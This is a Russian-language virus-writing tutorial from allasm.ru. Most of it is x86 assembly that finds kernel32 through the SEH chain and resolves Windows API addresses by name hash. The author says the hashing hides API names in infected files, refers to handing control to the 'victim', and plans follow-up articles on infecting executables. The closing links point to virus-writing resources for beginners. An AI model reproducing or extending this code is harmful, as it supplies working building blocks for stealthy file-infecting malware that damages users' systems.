allasm.ru

    Меню

 

Введение

На эту "избитую" тему написано уже много статей, но представлю на ваше обозрение еще одну.
Кстати, в этой статье вы не найдете подробного описания полей PE заголовка и технологии поиска API, предполагается, что в этом вы уже разбираетесь. Так же не буду останавливаться на очевидных моментах, это уже тысячу раз перетиралось.

Итак, особенности этой статьи заключаются в следующем:

  1. Код, рассмотренный в данной статье, будет работать на платформах win95-XP, за счет получения Image Base кернела не со стека, а через анализ SEH.
  2. Для поиска имени API-функции, код использует хеш от имени этой ф-ии. Это не бросается в глаза при рассмотрении зараженного файла в HEX Editor'е, в случае незашифрованного вируса, а так же сокращает размер кода.
  3. В коде нет переменных, адреса API-функций и другие нужные нам значения помещаются в стек, что бывает полезным в том случае, когда ваш вирус не должен производить запись в переменные до извлечения адресов API.

Итак поехали... (сначала код, потом комментарии)


Start:
Call _Delta

_Delta:
sub dword ptr [esp], offset _Delta

Теперь в стеке находится дельта смещение кода, можно в этом примере не использовать, но мне так захотелось.

_ReadSEH:
xor edx,edx
mov eax,fs:[edx]
dec edx

_SearchK32:
cmp [eax],edx
je _CheckK32
mov eax,dword [eax]
jmp _SearchK32

_CheckK32:
mov eax,[eax+4]
xor ax,ax

По адресу fs:0, находится seh, цепочка адресов на обработчики исключений. Формат одной записи таков:

next_handler dd ?   ; указатель на следующую такую же запись
seh_handler dd ? ; адрес обработчика исключения

Последний указатель на следующую запись имеет маркировку 0FFFFFFFFh, а адрес последнего обработчика находится где-то в kernel. В общем, глядите в отладчик, мы нашли адрес последнего обработчика, а значит и адрес внутри kernel. Дальше выравним полученный адрес на 64 Кбайта, т.к. kernel грузится по адресу кратному этому значению. Теперь нам осталось найти Image Base пресловутого и небезызвестного кернела. Делается это путем поиска сигнатуры MZ и проверки на PE формат...

_SearchMZ: 
cmp word ptr [eax],5A4Dh
je _CheckMZ
sub eax,10000h
jmp _SearchMZ
_CheckMZ:
mov edx,[eax+3ch]
cmp word ptr [eax+edx],4550h
jne _Exit

Так, теперь сравним слово по полученному адресу с 'MZ', если не совпало, то отнимем 64Кбайта, и повторим, если совпало, то проверим это заголовок PE или нет. Если да, то можно утверждать, что Image Base Kernel найден, если нет, то выйдем. Существует ли вероятность не найти Kernel? При использовании seh, навряд ли, по крайней мере, я этого не наблюдал при тестировании. В случае, когда адрес внутри Kernel берется со стека, заводится счетчик, чтоб не вылезти черт знает куда, но это описано в др. статьях. Для перестраховки можно завести свой обработчик исключений.

_SearchAPI: 
mov esi,[eax+edx+78h] ;Export Table RVA
add esi,eax ;Export Teble VA
add esi,18h
xchg eax,ebx
lodsd ;Num of Name Pointers
push eax
lodsd ;Address Table RVA
push eax
lodsd ;Name Pointers RVA
push eax
add eax,ebx
push eax ;Index
lodsd ;Ordinal Table RVA
push eax
mov edi,[esp+4*5] ;Delta offset
lea edi,[edi+HeshTable]
mov ebp,esp

Здесь я не буду заострять особого внимания, почему, читайте выше. (см. документацию по PE формату).

В результате выполнения первых двух строк, в esi мы получили смещение таблицы экспорта кернела. Далее мы получаем другие необходимые нам значения для поиска адресов API из таблицы экспорта и помещаем их в стек.

В edi у нас смещение таблицы хешей искомых функций.

Т.к. дальше мы будем помещать в стек адреса найденных API ф-ий, то сохраним указатель стека в ebp, через ebp потом и будем обращаться к найденным адресам. Несколько слов, что такое index, первоначально он равен Name Pointers и указывает на таблицу адресов имен экспорта, каждый элемент таблицы равен двойному слову, и указывает на начало ASCII строки с именем API функции, если к Index прибавить 4, то он будет указывать на следующий адрес в таблице адресов имен... Конечно много непонятного, но поглядите в отладчик и половина вопросов отпадет.

_BeginSearch:
mov ecx,[ebp+4*4] ;NumOfNamePointers
xor edx,edx
_SearchAPIName:
mov esi,[ebp+4*1] ;Index
mov esi,[esi]
add esi,ebx

В ecx кол-во экспортируемых функций используем как счетчик, чтоб не найти какую-нибудь муть.

Обнулим edx, там потом будет порядковый номер найденной функции, начиная с нуля. Это понадобится для нахождения адреса. В esi адрес ACSII имени API функции, первоначально указывает на первую.

_GetHash:
xor eax,eax
push eax
_CalcHash:
ror eax,7
xor [esp],eax
lodsb
test al,al
jnz _CalcHash
pop eax

Далее считаем хеш от имени функции, чтобы потом сравнить с хешем от требуемой функции, помните, что на имя у нас указывает esi. На выходе в eax будет хеш.

OkHash:
cmp eax,dword ptr [edi]
je _OkAPI
add dword ptr [ebp+4*1],4 ;I=I+4 (I--Index)
inc edx
loop _SearchAPIName
jmp _Exit

Никаких проблем, сравниваем, если равно, то имя функции найдено, и идем высчитывать ее адрес. Если нет, то прибавляем к Index четыре (чтобы указывал на следующий адрес имени в таблице экспорта) и ищем дальше, если требуемой функции вообще не нашли (неправильно написали имя или неверный хеш), то благоразумнее будет выйти или передать управление жертве, в зависимости от ситуации.

_OkAPI:
shl edx,1
mov ecx,[ebp] ;OrdinalTableRVA
add ecx,ebx
add ecx,edx
mov ecx,[ecx]
and ecx,0FFFFh
mov edx,[ebp+4*3] ;AddressTableRVA
add edx,ebx
shl ecx,2
add edx,ecx
mov edx,[edx]
add edx,ebx

Здесь мы окажемся в том случае, если мы нашли имя искомой функции, а следовательно и ее порядковый номер в edx. Код похож на себе подобный из других статей, потому отсылаю вас туда (см.ссылки внизу), не люблю писать одно и тоже и повторяться. Один момент, здесь работа происходит не с переменными, а в стеке, потому глядите в отладчик, в конце концов.

  push edx
          cmp word ptr [edi+4],0FFFFh   ;0FFFFh-End of HeshTable
          je _FindFirstFile
          add edi,4

_NextName:          
          mov ecx,[ebp+4*2]             ;NamePointersRVA
          add ecx,ebx
          mov [ebp+4*1],ecx             ;Index
          jmp short _BeginSearch

Адрес найден!!! Что и требовалось доказать, помещаем его в стек, смотрим последняя ли это требуемая функция из таблицы хешей, если нет, то устанавливаем edi на следующий хеш. Возвращаем Index в первозданное состояние, т.е. что бы он указывал на адрес имени первой функции в таблице экспорта кернела, и повторяемся...

Полностью рабочий пример можно найти здесь.
Пример тестировался на различных платформах Win95-XP, за что отдельное спасибо Ingrem'у.
Т.к. я не обладаю творческими изысками, в тексте могут содержаться неточности, о коих прошу сообщать на sars@ukrtop.com Исправлю...

Если кому-нибудь поможет данная статья, не сочтите за труд черкануть пару строк автору, тогда возможно продолжу эту тему. Все вопросы по коду туда же, кроме таких как: "Что такое стек?" и т.д.

Рекомендую отладчики SoftIce и OllyDebugger.
Если данное пособие найдет читателей, то в следующих статьях планирую рассмотреть, как заразить файл, внедряясь в свободное место в заголовке, а так же другие способы заражения.

Ссылки:

www.wasm.ru – есть неплохая обучалка по Win32 VX от Billy Belcebu
www.zombie.host.sk – имеется хороший FAQ для начинающих вирмейкеров и еще много чего